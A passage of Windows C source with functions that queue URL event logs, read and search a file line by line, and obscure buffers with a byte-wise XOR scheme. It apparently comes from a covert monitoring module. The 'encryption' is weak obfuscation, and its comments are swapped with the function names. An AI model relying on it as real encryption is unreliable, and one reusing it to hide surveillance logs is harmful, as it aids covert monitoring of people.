	bRet = URL_QueueLog(lpcEvBuffer, dwEvSize);
	if(!bRet)
		znfree((LPVOID*)&lpcEvBuffer);

	return bRet;
}


//add the log to the log array
int URL_QueueLog(LPBYTE lpcEvBuf, DWORD dwEvSize)
{
	DWORD i;

	for(i=0; i<MAX_URL_QUEUE; i++)
	{
		if(g_lpURLLogs[i].dwSize == 0 || g_lpURLLogs[i].lpBuffer == NULL)
		{
			g_lpURLLogs[i].dwSize	= dwEvSize;
			g_lpURLLogs[i].lpBuffer = lpcEvBuf;

			return TRUE;
		}
	}

	#ifdef _DEBUG
	OutputDebugString(L"[URL] Log is full");
	#endif

	return FALSE;
}


//read a line till the \r\n char
BOOL File_ReadLine(HANDLE hFile, LPSTR* lpszBuffer)
{
	char  cChar = 0;
	BOOL  bRet = TRUE;
	DWORD dwStart = 0, dwRd = 0;
	long  nCnt;

	//dealloc the memory
	znfree((LPVOID*)lpszBuffer);
	
	//read untill the LF char or untill the EOF
	for(nCnt=0; (bRet==TRUE) && (cChar != '\n'); nCnt++)
	{
		//read 1 byte
		bRet = ReadFile(hFile, &cChar, 1, &dwRd, NULL);
		if(bRet == FALSE)
			continue;

		//verify if EOF was reached
		if((cChar == 0) || (cChar == EOF))
			return FALSE;

		//verify the read byte
		if(cChar != '\n')
			continue;

		nCnt += 1;

		//set the file pointer to the beginning of the line
		dwStart = SetFilePointer(hFile, -nCnt, 0, FILE_CURRENT);
		if(dwStart == INVALID_SET_FILE_POINTER)
			return FALSE;

		//alloc memory for the new string
		*lpszBuffer = (LPSTR)malloc(nCnt + 1);
		if(*lpszBuffer == NULL)
			return FALSE;		
		memset(*lpszBuffer, 0, nCnt + 1);

		//read the line
		bRet = ReadFile(hFile, *lpszBuffer, nCnt, &dwRd, NULL);
		if(bRet == TRUE)
			break;
	}

	return bRet;
}


//parse the file to find the specified string
LPSTR File_SearchString(HANDLE hFile, LPSTR lpszStr)
{
	LPSTR lpszBuf = NULL;
	DWORD dwSize = 0;
	BOOL  bRet = FALSE;

	//verify the file handle
	if(hFile == INVALID_HANDLE_VALUE)
		return NULL;
	
	do
	{
		//read a line
		bRet = File_ReadLine(hFile, &lpszBuf);
		if(bRet == FALSE)
		{
			znfree((LPVOID*)&lpszBuf);
			return NULL;
		}

		//search the substring
		if(strstr(lpszBuf, lpszStr) != NULL)
			break;
	}
	while(bRet);

	return lpszBuf;
}


//buffer encryption
void DecryptBuffer(LPBYTE lpBuf, DWORD dwSize)
{
	DWORD i;

	for(i=0; i<dwSize; i++)
	{
		lpBuf[i] ^= 0x86;
		lpBuf[i] += (BYTE)i;
		lpBuf[i] ^= (BYTE)i+8;		
	}
}


//buffer decryption
void EncryptBuffer(LPBYTE lpBuf, DWORD dwSize)
{
	DWORD i;

	for(i=0; i<dwSize; i++)
	{		
		lpBuf[i] ^= (BYTE)i+8;
		lpBuf[i] -= (BYTE)i;		
		lpBuf[i] ^= 0x86;
	}
}